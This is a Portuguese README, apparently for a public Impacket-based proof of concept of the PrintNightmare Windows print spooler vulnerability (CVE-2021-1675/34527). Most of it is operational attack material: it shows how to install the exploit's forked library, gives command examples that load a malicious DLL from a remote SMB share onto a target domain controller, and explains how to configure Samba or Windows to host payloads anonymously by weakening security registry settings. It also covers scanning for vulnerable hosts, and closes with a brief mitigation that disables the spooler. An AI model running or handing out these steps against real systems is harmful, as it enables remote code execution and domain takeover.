CVE-2021-1675 / CVE-2021-34527

Implementação do Impacket do PoC PrintNightmare originalmente criado por Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)

Testado em um Controlador de Domínio 2019 totalmente atualizado

Execute DLLs maliciosas remotamente ou localmente

Atualização de patch

A Microsoft lançou um patch para mitigar esses ataques, mas se esses valores abaixo estiverem presentes em uma máquina, a máquina ainda estará vulnerável

REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
    RestrictDriverInstallationToAdministrators    REG_DWORD    0x0
    NoWarningNoElevationOnInstall    REG_DWORD    0x1

Instalação

Antes de executar o exploit, você precisa instalar minha versão do Impacket e depois disso está tudo certo

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

CVE-2021-1675.py

usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675 implementation.

argumentos posicionais:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Caminho para a DLL. Exemplo '\\10.10.10.10\share\evil.dll'

argumentos opcionais:
  -h, --help            mostra esta mensagem de ajuda e sai

autenticação:
  -hashes LMHASH:NTHASH
                        Hashes NTLM, formato é LMHASH:NTHASH

conexão:
  -target-ip ip address
                        Endereço IP da máquina alvo. Se omitido, usará o que foi especificado como target. Útil quando o target é o nome NetBIOS e você não consegue resolvê-lo
  -port [destination port]
                        Porta de destino para conectar ao servidor SMB

Exemplo;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

Configuração SMB

A maneira mais fácil de hospedar payloads é usar o samba e modificar /etc/samba/smb.conf para permitir acesso anônimo

[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = smbuser

No Windows também é possível

mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot

Escaneamento

Podemos usar o rpcdump.py do Impacket para escanear potenciais hosts vulneráveis; se ele retornar um valor, pode estar vulnerável

rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol

Mitigação

Desabilitar o serviço Spooler

Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f

CVE-2021-1675

Mais Populares